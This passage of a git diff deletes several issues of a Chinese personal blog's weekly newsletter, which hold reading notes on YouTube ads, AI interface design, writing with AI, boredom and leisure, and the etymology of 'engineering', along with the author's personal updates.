卡片笔记法: - - 在笔记之间建立连接,这个 YouTuber 经常在视频中间插入一些无意义片段和笔记库的知识图谱,以展示他使用的是双链笔记 Obsidian; - - 保持笔记内容简短,几个自然段就好,最好保持在一屏内。 - -唯一让我眼前一亮的观点,是这个视频下的一条评论:Oh, this is just like a sketchbook for an artist.(噢,这就像艺术家的素描本一样)——作为写作者,学会像画家一样积累素材是有必要的。 - -另外,我其实是在 Bilibili 上先看到了一个讲迷你论文的竖屏短视频,中文的,那个博主的说话方式和 YouTube 上的这个原作者非常像。我尝试在 Bilibili 上找到了带中文字幕的版本,看了几分钟发现那个视频是「充电专属」,而且还没有标注原视频地址。无奈,只好自己到 YouTube 上搜索 Mini Essay,于是找到了这期视频,好在这位 YouTuber 口齿清晰,我都能听懂。 - -忍受国内视频平台乱象,找到源头之后也没觉得内容有什么帮助,真是令人啼笑皆非。**真要学点什么,还是去看书吧,别在视频平台上耗费时间了。** - -[#互联网文化](/tags/互联网文化) [#笔记方法](/tags/笔记方法) - -### 明年九月,油管首页将不会有视频 - -> [!note] 📜 -> 文章链接:[Someone at YouTube Needs Glasses](https://jayd.ml/2025/04/30/someone-at-youtube-needs-glasses.html) - -作者打开 YouTube,发现一个屏幕内显示了五个视频,整个页面中有六分之一的内容都是广告。他用 WaybackMachine 对比了 2019 年的 YouTube,那时候一个页面中有 30 个视频,没有广告。 - -按照这个趋势,他预计到 2026 年的九月,首页上就不会显示任何视频了。YouTube 的算法和神经网络模型会直接实时生成内容和广告注射进我们的大脑里。 - -据我所知,YouTube 的算法机制一直受人诟病,如果不依据算法偏好制作内容、取标题、做夸张的封面,视频就完全没有机会得到推荐,没有观众。YouTube 一直以来都只想要展示他想要展示的内容,并不是一个自由的内容创作平台。 - -国内的 Bilibili 也一样,无论是网页端还是手机端,首页都会有一个巨大的横幅广告;不但如此,Bilibili 还非常想要推广直播内容,首页一定会显示直播,这也算作广告;首页也会随机刷新纯粹的广告推广内容,除此之外,各个视频博主为了接商单赚钱,还会在内容中植入广告。 - -{{< gallery >}} - - - - - -{{</ gallery >}} - -有些夸张地说,Bilibili 的广告含量已经要超过 50% 了,高质量内容又少的可怜,那我干嘛还要在视频平台里矮子里挑高个呢? - -我知道我现在听起来很像个止不住说教的老头,但我还想要强调:少看点视频吧,多读书,何必忍受广告和垃圾内容。 - -[#互联网文化](/tags/互联网文化) [#广告](/tags/广告) - -## 💡 新知复盘 - -> ### 错失恐惧症 -> -> 错失恐惧症(Fear of Missing Out,也称 FOMO),是一种焦虑情绪,由自身未能参与某项社交活动而导致。当个体意识到自己可能错过了有意义的事情、没办法获得他人的关注、可能错过某个机会的时候,就可能产生这种持续性焦虑。 -> -> 错失恐惧症可以被理解为「置身事外的恐惧」。在互联网时代,人们的社交方式变得泛化,由于任何事情都可以与社交相关,人们变得更容易焦虑。不了解某个网络热梗、不知道某个理论、不了解某一方法论,进而无法与其他人谈论此事,在网络媒介上被众多网友置身事外,让错失恐惧产生的频率变高了。 -> -> 错失恐惧症可能导致不健康的上网习惯(频繁查看消息、刷新信息流……),进而让个体无法全情参与现实生活中的社交,也会导致注意力不集中,难以专注等问题。 -> -> <span style="font-size:80%">Source: [错失恐惧症 - 维基百科,自由的百科全书](https://zh.wikipedia.org/wiki/错失恐惧症)</span> - -> ### 简单曝光效应 -> -> 简单曝光效应(Mere-exposure Effect)也叫熟悉感原则,是一种心理现象,指的是个体对某人某物越熟悉、曝光的次数越多,个体就越容易发展对该人该物的喜欢或厌恶。 -> -> 简单来说,越熟悉的事物越容易产生好感,一开始讨厌的人或事见得越多则越讨厌。 -> -> 简单曝光效应的适用范围很广,除了人,还包括词、汉字、画、面部图像、几何图形和声音。 -> -> <span style="font-size: 80%">Source: [Mere-exposure Effect - Wikipedia](https://en.wikipedia.org/wiki/Mere-exposure_effect)</span> - - -## 🗣️ 碎碎念 - -- 我对大语言模型的确没有太多赞美之词,但我绝非卢德主义者,更非意识不到「时代变了」。我不是二极管,我不会因为在某些方便不喜欢一个东西就全盘否定它的价值。我总觉得有的人看到我在批评大语言模型时,就把我想象成了完全排斥 AI 的、自以为地位不保、无能狂怒的保守分子…… -- 完全不能理解为什么有人能毫无顾忌地在图书馆里打电话,他妈的整栋建筑里就只能听见他一个人的说话声。 -- 因为想要读一篇英文长文,担心自己难以集中注意力,于是让自己大声读出声来,结果就是十几分钟过后我头痛欲裂,结果才只读了一半。而且我有好多时间浪费在查阅我知道或猜到什么意思的单词上了,因为我需要知道那些词怎么读…… -- 这周清理了一下 MacBook,结果发现软件占的空间是最大的,一打开发现好久没用的 IDEA 和 Webstorm 一共吃了我 8GB 的储存,差点被吓晕。能使用代码编辑器的场景尽量还是不要用集成开发环境吧,怎么能这么重…… -- 在读《[Game Programming Patterns](https://gameprogrammingpatterns.com)》,真的算是雪中送炭了,解答了好多问题。 - -[^1]: 可能是因为我不喜欢任何 YouTube 味很重的视频,同时又对「生产力」和「效率」相关的内容感到厌倦了,尤其是那些非要在视频背景上摆几本书的…… diff --git a/content/posts/weekly/28.md b/content/posts/weekly/28.md deleted file mode 100644 index 49aa37d9..00000000 --- a/content/posts/weekly/28.md +++ /dev/null @@ -1,147 +0,0 @@ -+++ -title = "稻草人周刊 Vol.28" -subtitle = "你更有可能死在自己的生日" -endnotes = [ - "封面图自摄,设备为 iPhone 15 Pro", -] -tags = [ - "游戏", - "叙事", - "道德", - "AI", - "设计", - "创作", - "效率", - "写作", - "死亡", -] -date = 2025-05-12 11:17:00 -categories = "稻草人周刊" -banner = "https://r2.eltr.ac/uPic/202505121117-weekly28-banner.jpeg" -draft = false -toc = true -aliases = [ - "/posts/weekly/稻草人周刊-vol-28/", - "/posts/weekly/28", -] -+++ -<iframe allow="autoplay *; encrypted-media *;" frameborder="0" height="150" style="width:100%;max-width:660px;overflow:hidden;background:transparent;" sandbox="allow-forms allow-popups allow-same-origin allow-scripts allow-storage-access-by-user-activation allow-top-navigation-by-user-activation" src="https://embed.music.apple.com/cn/album/naked-in-manhattan/1698723205?i=1698723328"></iframe> - -这首歌歌词里的 Constant like cicadas in the summertime(像夏日蝉鸣一样连续不断)被我听成了 Nonsense like gaydars in the summertime(像夏天的 gay 达一样纯属胡扯)——因为这首歌是 Chappell 的所以我一度觉得非常合理。<!--more--> - -## 🙋 在做什么 - -到了每周的审问环节才发现自己在这七天里好像什么都没干,就是很平常地生活,甚至带着一些伴随初夏一起出现的烦躁不安(不过实际上还没到夏天吧)。 - -值得说道的可能是这几天做了些断舍离,该扔的扔了,可以送人的送了(鬼知道我怎么囤这么多咖啡豆罐子、票据,甚至还有衣服吊牌)。买了个桌面增高架,调整了一下布局,也理了线,现在如果不给设备充电的话,几乎是看不到什么线的(留下来的几个咖啡豆罐子也能遮挡一下线缆,原谅自己囤垃圾了)。 - -{{< gallery >}} - - - -{{</ gallery >}} - -另外,我的英文博客时隔一个多月终于更新了,欢迎你来读一读:[Take Ugly Notes and Do Pretty Work](/en/posts/take-ugly-notes-do-pretty-work/) - -## 💬 本期杂谈 - -### 为什么道德对于叙事来说无足轻重 - -> [!note] 📜 -> 文章链接:[为什么道德对于叙事来说无足轻重](https://mp.weixin.qq.com/s/Syj60Uq40i7Ng1oaz9kfLQ) - -==在好与坏之间选边站不是最难的,在一团糟的情况下做出最好的决策才是。== - -作者认为,无论是游戏设计还是一般意义上的叙事,道德本身并不会拉进故事与玩家个人的距离。如果故事总是给出非黑即白的选项,那么玩家的抉择就是一种「伪抉择」,因为大多数人都能分清好与坏,那样的叙事只是让玩家选择要么当个老好人,要么抱着一种猎奇的心理使坏。 - -想让抉择变得有意义,那就要关注**抉择的结果**,而不是抉择的道德意义,前者才是举足轻重的东西。 - -[#游戏](/tags/游戏) [#叙事](/tags/叙事/) [#道德](/tags/道德/) - -### 不聊天的 AI - -> [!note] 📜 -> 文章链接:[Post-Chat UI - Allen Pike](https://allenpike.com/2025/post-chat-llm-ui) - -除了聊天界面,生成式 AI 的用户界面还可以怎样设计?或者说,什么样的用户界面才能更好地让生成式 AI 在不同的场景下发挥作用?作者列出了几种 UI 模式: - -1. 协作(Co-authorship)<br> - 例如 ChatGPT 的画布模式和 Cursor,这种 UI 模式的主要操作区域是代码、文档或其他内容的编辑器,聊天界面被推到了一侧,允许你与 AI 对话,与它一同编辑内容。 -2. 生成式右键(Generative Right-click)<br> - 之前 Dia 浏览器的宣传片里,他们展示了一种新的 UI 模式——用户可以在浏览器内部通过鼠标右键呼出菜单,让 AI 在任何地方生成内容。关于 Dia 浏览器,我之前也写过[一篇文章](/posts/the-browser-company-的新浏览器/)讨论我对它的看法。 -3. 符合直觉的搜索(Intuitive Search)<br> - Notion 推出类似的功能已经有一段时间了,简单来说,你不需要精确地记住具体的页面名字或关键词,可以用更模糊或口语化的表达请求 AI 帮你搜索内容。我个人很喜欢 AI 的这种应用。 -4. 输入代替选取(Type Instead of Pick)<br> - 类似 Raycast、Alfred、Powertoys Run 等应用程序提供的功能,用户可以快速呼出一个输入框,输入命令,而不是在一个菜单里选取。另一个应用是在需要输入日期的场景中,用自然语言(例如:下周四)描述时间,而非选取年月日。 -5. 行内反馈(Inline Feedback)<br> - 就像 Grammarly 或内置在许多软件里的拼写检查,生成式 AI 可以帮忙给出更详细的反馈和修改建议。 -6. 清理(Clean up)<br> - 不想思考怎么给变量和组件之类的东西命名?可以把这个任务交给 AI,让自己关注于功能的实现和真正的创作。 -7. 总结和聚合(Summary & Synthesis)<br> - 令人失望的 Apple Intelligence 提供的为数不多功能中,智能摘要算是一个不错的应用,AI 能屏蔽一些不必要信息。不过,我的观点是,不如在一开始就不要接收这些信息,屏蔽掉无用的消息推送;另一点考量是,我很担心愚蠢的 AI 会把重要的信息过滤掉。 -8. 语音(Voice)<br> - 比起用文字精细地描述某个需求,尤其是要描述某个存在于屏幕上的文字或媒体时,直接用鼠标指向那个元素,然后张嘴向 AI 发问,要方便得多。 -9. 完成显而易见的任务(Do the Obvious Thing)<br> - 例子:按下 Tab 补全代码。我自己的体会是,这很容易上瘾,然后文件里就爆出来一大串还要花时间一条条看的与需求无关的代码。Tab 补全只能做**显而易见的事情**,而不是所有的事情。 -10. 生成用户界面(Generated UI)<br> - 作者说现在大语言模型可以实时为当前用户生成特定的、符合他需求的用户界面,这让我想起了 [Oasis AI](https://oasis-ai.org),一个每一帧都用 AI 生成的 Minecraft 游戏。作者也指出了问题,尽管 AI 可以实现用户界面的高度客制化,但这也让 UI 变得不固定,不便于用户记忆和学习 - -不得不说,在人们表达能力日益下降的今天,用精心设计的 UI 规避用户不会写提示词的痛点,是一个非常聪明的做法。 - -[#AI](/tags/AI/) [#设计](/tags/设计/) - -### 创造是不刻意创造的结果 - -> [!note] 📜 -> 文章链接:[The 80-Hour Myth (Why We’re Addicted To Being Busy)](https://thedankoe.com/letters/the-80-hour-myth-why-were-addicted-to-being-busy/) - -作者认为现代人痴迷于忙碌,总是停不下来,我们生活在一个神圣化忙碌的世界(a world that glorifies busyness)。作者指出,我们应该停止浪漫化苦难(stop romanticizing the long hard route)。 - -- 休闲(leisure)比工作更重要 -- 强度比持续时间更重要 -- 休息是更高效的工作形式 -- 结果比时间更说明问题 - -话说到这里,需要展开讲讲作者所说的工作和休闲分别是什么意思。 - -休闲(leisure)和娱乐(entertainment)完全不同。我认为,按照作者的观点,刷短视频、看剧、听歌、打游戏,其实并非休闲,因为在进行这些活动时,表意识充满了各种信息,大脑需要不断处理这些信息(我认为这也是某种形式的劳动)。作者指的休闲是散步、读书等等,他认为这种活动会激活人的「默认模式网络」(Default Mode Network),此时潜意识会更具创造力、更有效率地向表意识推送想法,例如洗澡时头脑放空,人常常在这个时候产生新想法。在《[数字极简](/library/2024/数字极简/)》一书中,Cal Newport 也提倡读者放下电子设备,重拾闲暇时光。 - -作者还提到了「创作者悖论」,内容是:创造力是不刻意创造的结果。我认为作者所说的「工作」是把创意和想法变成现实的过程。如果没有闲暇时产生的灵感,工作就是无聊且漫长的。人们痴迷的忙碌可能就是在刻意地创造。作为写作者,我自己的体会时,我常常在通勤时想到刚才读的一页书、看的一篇文章或者别的什么东西,然后产生了新想法;如果我在没有想法时坐在屏幕前,我就只能挤出让我自己都不忍直视的文字。 - -作者还认为拖延不是懒惰,而是人类的机制(How we are wired)。拖延、分心、放空,让自己从专注状态中脱离一段时间,刻意地休息,能给工作带来更多想法,提升效率和质量。作者提倡「像狮子一样工作」,关注自己的在乎的事情,受到强大的欲望推动,在短时间内高强度地完成工作,然后停下来休息。 - -[#创作](/tags/创作/) [#效率](/tags/效率/) - -### 我宁愿读提示词 - -> [!note] 📜 -> 文章链接:[I'd rather read the prompt](https://claytonwramsey.com/blog/prompt/) - -作者认为机器不会产生「想法」。比起机器生成的看似详尽准确的长篇大论,他更愿意读人写下的那一两句提示词,因为人写下的那一两句话就代表了他此时此刻的想法。比起计算机程序的东拼西凑,人的想法才是最有价值的。在我看来,「为什么问这个问题?」「为什么要这样措辞?」「为什么在这个时候问这个问题?」都是更值得关注的点。 - -作者的主要观点有三: - -1. **思考比写出东西来更重要**。写作的目的不是写出字来(create an artifact of text),而是为了促进思考,让 AI 写东西没法促进人的思考。Peter Naur 认为,写出足够复杂的程序不止需要写出代码来(the artifact of code),还需要程序的理论,程序员必须理解代码背后的逻辑结构。 -2. **Vide Coding 有严重的安全隐患**。Vibe Coding 指完全不自己写代码,而是向大语言模型描述需求,完全让 AI 编程。我自己 Vibe Code 一些脚本来实现简单的需求,但对于更大的系统,例如一个完整的应用程序,Vibe Coding 就会造成很多问题。之前有一个 Vide Coding 产出的应用就泄漏了它的 OpenAI Keys。我认为在很长一段时间内,AI 都没法独立地编程,程序员也不可能不理解任何软件工程知识,光靠 AI 工具做软件。 -3. **AI 十分擅长创造垃圾**(great for making nonsense!)。这一点与第一点关联很大,AI 很擅长「写出字来」。作者是这生成了一段文本,其中包含这样一句话「Perhaps it stems from a desire for efficiency, a wish to quickly generate text without the perceived effort to crafting each sentence.」,作者认为「Perhaps people do it for efficiency.」几个词就足以表达观点。语妙不在言多,词藻的堆砌不过是思想贫瘠的遮羞布。 - -总的来说,作者认为创作的意义就在于**分享个人体验**——如果没有体验,为什么还要写出来?如果一个东西都不值得人自己写,那也不值得读。 - -[#AI](/tags/AI/) [#创作](/tags/创作/) [#写作](/tags/写作/) - -### 你更有可能死在自己的生日吗? - -> [!note] 📜 -> 文章链接:[Are you more likely to die on your birthday?](https://pudding.cool/2025/04/birthday-effect/) - -很有趣的研究。作者找了当地的死亡数据,发现人们的确更有可能在自己生日当天去世。他用了各种统计学方法证实了这个观点。背后的原因可能是死亡率和出生率都有一定的季节性规律,例如冬天的死亡率更高。某些月份更容易死人,某些月份有更多的人出生。因为死亡和出生在时间上的分布是不均匀的,也就造就了死亡发生在生日当天的概率要高一些。 - -具体的论述可以阅读原文,我的数理统计知识较匮乏,不太能写得明白。 - -作者用了很多不同的数理统计方法证明这个观点,每次的结果都有些差异,他在最后写道,研究的结果会因为我们采用的不同方法而产生差异。我在《[为何以及如何建立自己的信任链](/posts/为何以及如何建立自己的信任链/)》中写道,普通人在阅读参考文献时,应当关注被采用的研究方法。 - -[#死亡](/tags/死亡/) <span style="font-size:80%">想不到这段内容也能归到死亡这个标签下</span> - -## 🗣️ 碎碎念 - -没话写,在思考我究竟还需不需要在周刊设置一个「碎碎念」栏目。 diff --git a/content/posts/weekly/29.md b/content/posts/weekly/29.md deleted file mode 100644 index 2b2e9eca..00000000 --- a/content/posts/weekly/29.md +++ /dev/null @@ -1,193 +0,0 @@ -+++ -title = "稻草人周刊 Vol.29" -subtitle = "逃离人群" -endnotes = [ - "封面图来自 [Brian Yurasits](https://unsplash.com/@brian_yuri),原图链接[在此](https://unsplash.com/photos/brown-and-gray-stone-fragments-fymQDpBfcMo),图上是一只寄居蟹。", -] -tags = [ - "自然", - "健康", - "心理学", - "生活", - "创作", - "Backrooms", -] -date = 2025-05-19 23:19:14 -categories = "稻草人周刊" -banner = "https://r2.eltr.ac/uPic/2025/05/brian-yurasits-fymQDpBfcMo-unsplash-2.jpg" -draft = false -toc = true -aliases = [ - "/posts/weekly/稻草人周刊-vol-29/", - "/posts/weekly/29", -] -+++ -<iframe allow="autoplay *; encrypted-media *;" frameborder="0" height="150" style="width:100%;max-width:660px;overflow:hidden;background:transparent;" sandbox="allow-forms allow-popups allow-same-origin allow-scripts allow-storage-access-by-user-activation allow-top-navigation-by-user-activation" src="https://embed.music.apple.com/cn/album/%E5%B0%8F%E5%8D%8A/1421692907?i=1421693331"></iframe> - -在餐厅听歌识曲听到的歌,觉得还不错。虽然中文歌听得少,但陈粒的歌还是听过一些,有些好感。<!--more--> - -## 🙋 在做什么 - -### 博客折腾记录 - -- 修复了[所有文章页面](/posts/)列表中的日期显示(感谢 [Zeee](http://velasx.com) 指出问题!) -- 移除了 tocbot.js,使用 Hugo 静态生成的目录,编写了简单的脚本和 CSS 实现 tocbot 提供的部分功能(平滑滚动和根据视口位置高亮显示目录链接等),减少了页面中的 JavaScript 加载 -- 增设了[精选页面](/featured/)[^2] - -### 小说创作 - -时隔 3 个月发布了新的小说《[植殖癌](/fictions/botanicancer/)》。 - -这篇小说的点子其实在 2023 年 Backrooms 英文主站点的「现象竞赛」中就被我写过,当时我抱着自己蹩脚的英文,拖着 ChatGPT 老师帮我改语法问题,写出来了这篇 Bontanicaner,抢下了 [Phenomenon 12](https://backrooms-wiki.wikidot.com/phenomenon-12) 这个靠前的编号。 - -后来这篇文章被中文分站的译者翻译过来了 ~~(出口转内销了属于是)~~,当时我想的中文名其实是「植物癌」,但专门干翻译的就是不一样,把 Botanicaner 译作了「植殖癌」,于是我就用了这个名字。 - -不过当时的我和现在的我想的其实不一样,尽管描写的都是疯长的植物,但当时的我仅仅是觉得疯长的植物有种美感,想要写一写被植物摧毁的人类建筑,同时补充一下世界观。[^1]这次旧事重写,其实是因为我在《[人定胜天可能是人类最可悲的春梦](/posts/人定胜天可能是人类最可悲的春梦/)》一文中写下的这句话: - -> 我或许不会写下一个人类被自然打倒的结局,但我会让作品中的人类对自然充满敬畏。 - -呃,毕竟我写的是「或许」。 - -发布在博客上的这篇《[植殖癌](/fictions/botanicancer/)》看上去就是一篇人类被自然打倒的故事,描写的是对自然毫无敬意的人类,但其实在这篇故事里,人类从来不是主角,应该说「植物打倒了人类」,甚至,「人类」这个词都不要出现比较好,小说写的就是一株巨大植物生长的过程,这个过程中它毒死了人、砸死了人、吸干了人作为养分,但是它毫不在意。无论人做了什么,它都一天接一天地生长着。最后闹剧结束的方式也和人没有关系,植物在放肆生长的过程中如伊卡洛斯一样触碰到了太阳,自己造就了自己的死亡。 - -另外,这篇小说里有关于塔罗里高塔牌和星星牌的隐喻,不知道有没有人读到。 - -### 搬家 - -终于忍受不了群居生活,自己跑出来租房住了! - -这几天一直在搬东西,所以周刊也发晚了,主要自己的东西不少,再加上纸质书也很多。搬运的时候不想太累也不想太引人注目,所以接下来的几天应该会一点一点地带走留在那边的东西。 - -搬家的过程中自己也有了些新的观察和思考,比如换了环境之后发现自己物欲降低了;在各种事项没有完全确定下来之前感到了很严重的焦虑;搬走后竟然对室友生出了一丝愧疚感;发现自己对同龄人的情绪最多的居然是厌恶,但是对比自己最多小一岁的学生反而觉得可爱…… 总之有不少值得说道的地方,说不定下周的文章就会以这些事情为切入点来展开。 - -## 💬 本期杂谈 - -### 白日梦之死 - -> [!note] 📜 -> 文章链接:[On The Death of Daydraming](https://www.afterbabel.com/p/on-the-death-of-daydreaming) - -和[上一期周刊](/posts/weekly/稻草人周刊-vol-28)分享的 [The 80-Hour Myth](https://thedankoe.com/letters/the-80-hour-myth-why-were-addicted-to-being-busy/) 类似,这篇文章探讨了闲暇时间和「无聊」的重要性。这篇文章着重表达了如今触手可及的信息流的担忧——人们可以随时随地用手机消解无聊,其代价是:人们不再做白日梦了。 - -作者认为,就像耕地也有休耕期,休耕并不是无用的,而是在为未来的耕种做准备,大脑完全不被任何信息占据的时间对人来说是重要的。当我们习惯了非常容易地打发时间,用于期待、做白日梦、想象的时间就消失了。 - -简单来说,无聊对人有好处,消解无聊也意味着消解了期待、白日梦、创新的想法,甚至有害心理健康。 - -作者还写了一本书,叫做 The Extinction of Experience(体验的灭绝),这篇文章算是这本书的引子。我愈发觉得刷手机是一件很不好的事情,但我不想变成那些只会说教的「大人」,我觉得这本书或许给我一些答案。我已经把它下载到我的 Kindle 上了。 - - - -[#健康](/tags/健康) [#心理学](/tags/心理学) - -### 被植物耕耘的人类 - -> [!note] 📜 -> 文章链接:[Are Plants Farming Us?](https://inleo.io/@gentleshaid/are-plants-farming-us-a-thoughtful-look-at-natures-silent-masters-jx9) - -作者观察到: - -- 植物长出美味的果实来引诱包括人类在内的动物,帮助它们把种子传播到更远的地方 -- 植物哄骗人类照顾它们,仅仅是给出了一点点我们想要的东西 -- 我们改造植物的基因,而这些科技对他们的种族有利 - -或许我们在为植物工作,人类才是被圈养的那一边。 - -[#自然](/tags/自然) - -## 💡 新知复盘 - -> ### 工程 -> -> 科学领域中涌现了大量以「工程」命名的学科,如材料工程、环境工程、软件工程,软件工程下甚至还有需求工程、提示词工程等学科。人们无论是看到汉语的「工程」一词,还是英语的 Engineering,应都会先想到摆弄机器零件和工具的人,但大部分工程师并非如此。那么「工程」一词到底是什么意思? -> -> #### 定义 -> -> 简而言之,**工程是科学原则的应用**,或者构建的方法(manner of construction)。 -> -> <details> -> <summary>维基百科对「Engineering」的定义</summary> -> > Engineering is the practice of using natural science, mathematics, and the engineering design process to solve problems within technology, increase efficiency and productivity, and improve systems. -> -> **译文**:工程是使用自然科学和数学的实践,是解决技术问题、提高效率和产出率、优化系统的工程设计过程。 -> </details> -> -> 在现代语境中,工程常常与这些概念联系起来:设计(design)、构建(construction)、操作(operation)、开发(development)、制造(manufacture)和安全(safety)。一般来说,各种工程学科都包含上述概念的思想、知识和方法论。例如软件工程学科,就包含了软件设计方法、软件的开发模型、软件系统的安全性等。 -> -> 工程学科是由这一系列工程原则(engineering principles)组成的。工程是对自然科学和数学的应用,除了科学方法和科学原则,工程学科也有自己的原则和方法, -> -> #### 词源 -> -> 汉语中「机巧」一词,除了「用物理化学原理制造机械的技术」之意以外,还有「**欺诈**」的意思。在古法语中,engin 的意思是技巧、幽默、聪明,还有**欺骗**(deceitfulness)和耍花招(trickery)的意思。这可能与过去人们对新事物的不正确认识有关。在电话刚发明的时候,人们认为那是恶魔的发明,使用者会被闪电击中。 -> -> 在拉丁语中,ingenium 的意思是「天生的特质」「与生俱来的能力」,英语单词 engineering 就源于此。晚期,ingenium 有了「**战争**机器」的意思。在古法语中,engigneor 的意思就是「制造**战争**机器的人」;engine 在一开始也特指在**战争**中使用的机器装置。这显然也与历史有着很大关联。 -> -> 从一开始的不被理解,被当作骗术,到后来广泛应用于战争,成为一门有倾向的技术,现在,工程一词已经成了「用科学解决实际问题」的学科的统称。 -> -> <span style="font-size:80%">Source: [Search 'engineering' on etymonline]([Engineering - Wikipedia](https://en.wikipedia.org/wiki/Engineering)</span> - -> ### 信息的组织结构 -> -> #### 网状 -> -> 知识管理圈子里最受推崇的笔记方法,往往是非线性的、网状的,通过双向链接、知识图谱或白板等形式将知识组织起来。这一方法的核心依据在于,人的大脑理解知识的方式更接近于这种网状结构。 -> -> 网状结构最典型的呈现,其实是万维网文档的超链接。据说,在任意一个维基百科页面中点击第一个超链接,进入下一个页面后继续点击第一个超链接,如此往复,访客最终会来到「哲学」这个页面。维基百科上 95% 的页面都与哲学相关联。我认为这是因为维基百科致力于搭建一个完备的人类知识框架,除了要在每个条目下做出完备的阐释,还要将知识链接起来,而人类有 95% 甚至更多的知识都最初源自哲学这门古老的学科。 -> -> 网状结构似乎非常强大,甚至能够呈现出整个人类知识体系的大概面貌。 -> -> 从计算机的数据结构上看,网(network)即图(graph),树形结构(tree)也是一种特殊的图。树形的思维导图其实也可以归纳在网状结构当中,只不过是一种受限的网络,更适合组织特定主题的信息。 -> -> #### 线性 -> -> 如果不看超链接,单个万维网文档中的内容往往是线性的。一篇文章,从头到尾讲完了一个概念、阐述了一个观点。作者可能有网状的知识体系,但最终呈现的内容是线性的。 -> -> 时间也是线性的,在这个语境下,用时间来定义线性可能要准确一些。一个视频、一期播客节目从开始播放到结尾,给观众和听众带来的体验就是线性的。其实阅读也是如此,从书页的开头读到结尾,就是一个线性的过程。再发散一些,用户从进入软件界面的开始到离开的过程、玩家从游戏开始界面到结束游戏的过程,都是线性的。简而言之,有明确开始和结束时间点的,都是线性的。 -> -> 我认为只有线性的结构才能创造「体验感」。观看体验、收听体验、阅读体验、用户体验和游戏体验,都是前文所述线性呈现方式,从开始到结束,给个体带来的体验。个体在开始到结束的过程当中产生的感受和想法,甚至包括结束之后的回味,都是体验感的部分。 -> -> 在数据结构中,网、图和树有路径一说,即将图中的多个节点按照特定顺序连接起来。在一个路径里,有确定的开始和结尾,所以路径是线性的。可以说,网状结构由若干线性的体验构成,产生的体验是不确定的。 -> -> #### 碎片 -> -> 互联网广泛普及之后,信息的碎片化已经是老生常谈了,并且往往是被批评的对象。 -> -> 我认为碎片化的也是线性的,只不过从开始到结束的过程非常短。碎片化的另一个特征是连贯性的缺失,再加上短暂的体验使得个体有了更多的时间去摄取更多的信息碎片,个体最终获取到的是转瞬即逝的、无意义的、海量的、低质量的体验。 -> -> 碎片化的信息可能是缺乏组织的信息,个体无法获得网状结构带来的宏观理解,也无法获得一般线性结构带来的完整体验。可以说,碎片信息只能给个体填充缺乏关联的不完整信息,但无益于建立深刻的理解。 -> -> --- -> -> ->  - -> ### Password, Passcode, Passphrase -> -> 密码这个词一般会译作 Password,但 Passcode 这个词也很常见,有时还会有 Passphrase 的说法。这些词都有什么区别呢? -> -> 这些词的区别的确很微妙,很多时候可以当作同义词,所以中文基本上都译作「密码」,的使用场景有较明显的区别。 -> -> - Password -> - 常用于用户登录界面、操作系统解锁 -> - 一串不定长度的字符串,用于验证身份,通常有较宽松的格式规范,例如长度要求和字符类型多样性的要求 -> - Passcode -> - 常用于手机锁屏界面、密码锁、ATM 机等等 -> - 一串固定长度的数字,例如六位数字或四位数字,格式要求较为严格 -> - 也可以发送到邮箱或信息的一次性验证码 -> - Passphrase -> - 常用于安全性要求较高的场合,如加密或解锁 PGP 密钥 -> - 由几个单词组成(就像一般的 phrase 一样),可读性强,容易被记忆;但通常较长,不容易被暴力破解 -> -> 另一个常见的词是 Passkey,但 Passkey 的意思是「通行密钥」,而非密码。Passkey 是另一种不同于「用户名/密码」的身份验证方式,将 Passkey 储存到设备后可以通过指纹或面部识别等方式验证身份。 - - -## 🗣️ 碎碎念 - -- 给自己设置了一个「断舍离回收箱」,那些自己应该扔掉但不舍得扔总觉得有用的东西,先放在这个箱子里,等哪天意识到「我去,这玩意放这么久了我一次都没用过」,就可以心安理得地扔掉(也防止不小心扔掉真的有用的东西)。 -- 你冷你能加衣服盖被子,我热我能扒层皮吗?莫名其妙就当另外两个人不存在和另一个室友决定了洗澡顺序,非要自己第一个洗还一直在外面磨蹭,让另一个「甘愿」第二个洗的和我这个刚跑完步回来浑身是汗的人干等着,几个意思呢?😅 -- 申请退宿时,辅导员得知我的室友这个天气还不开空调,感到震惊,我不语,只是默默回寝室一边流汗一边收拾东西。*然后发现辅导员和我住同一个小区,这算还是好事坏事呢?* -- 之前花一个平板的价格买了汉王的 N10 Plus,一块跟 iPad Air 差不多大的墨水屏设备,现在已经吃灰快一年了,当泡面盖都觉得笨重。花 168 买的二手 Kindle,因为便携还有触屏,能发光,还可以用 Calibre 直接导入文件,系统也很简洁,完全满足我的需求…… 钱原来是这样被浪费的。 -- ~~这周没读几篇文章所以只能多写点琐事凑数了~~ - -[^1]: 在我设定下的 Backrooms,很少有大型的人类聚落和基地(如果有的话这群人还在里面受什么苦啊!),原因之一就是植殖癌会摧毁大面积的人造建筑,导致人类只能尽可能地在已有的结构中生存。 - -[^2]: 2026/2/15: 已经移除独立的精选页面,请查看[精选标签](/tags/精选/)下的文章。 diff --git a/content/posts/weekly/3.md b/content/posts/weekly/3.md deleted file mode 100644 index 91ce2f98..00000000 --- a/content/posts/weekly/3.md +++ /dev/null @@ -1,110 +0,0 @@ -+++ -title = "稻草人周刊 Vol.3" -subtitle = "The Art of Words" -date = 2024-11-18 09:40:00 -categories = "稻草人周刊" -description = "新外观、起名、媒介、激进的观点" -toc = false -draft = false -aliases = [ - "/posts/weekly/稻草人周刊-vol-3/", - "/posts/稻草人周刊-vol-3/", - "/posts/weekly/3", -] -+++ -> [!note] 💡 -> 你正在阅读 [稻草人周刊](/categories/稻草人周刊/) 的第 3 期,我会在这里分享最近的有意思的事情、思考、阅读和体会。 - -<!--more--> - -## 🏃 - -如你所见,博客的外观又发生了变化。 - -换到 Hugo 之后,我本打算从此停止对网站外观的折腾,但我逐渐意识到这是不可能的。换到任何一个博客程序,我都无法找到现成的、符合我审美的博客主题。**我认为个人网站的外观也算是一种「自我的表达」**,就算是之前忍着不折腾,也选择了自定义性很强的 [Eureka 主题](https://github.com/wangchucheng/hugo-eureka)。我觉得把别人写出来的、现成的外观套在自己的网站上,实在是有些别扭。 - -不过,Eureka 是用 Tailwind.css 写的,我没法通过引入 CSS 文件的方式自定义外观,文档给出的使用主题的方式又是直接引入 GitHub 仓库,我没法直接改本地的模板文件。懒得折腾文档没写的其他方式,干脆就换了个主题,现在使用的是 [yinyang](https://github.com/joway/hugo-theme-yinyang) 主题,因为它是主题列表里最极简的。 - -实际使用下来发现主题做得还是挺糙的,不过「糙」也就给我留下了很多发挥的空间。花了一个小时左右修了修,于是博客变成了现在这个样子: - - - -配色是从苹果官网上扣的。我在页面顶部加了一层淡淡的渐变作为点缀,本意是为了模拟「死兆」的感觉,不过还是不想显得太吓人,所以比较收敛。 - 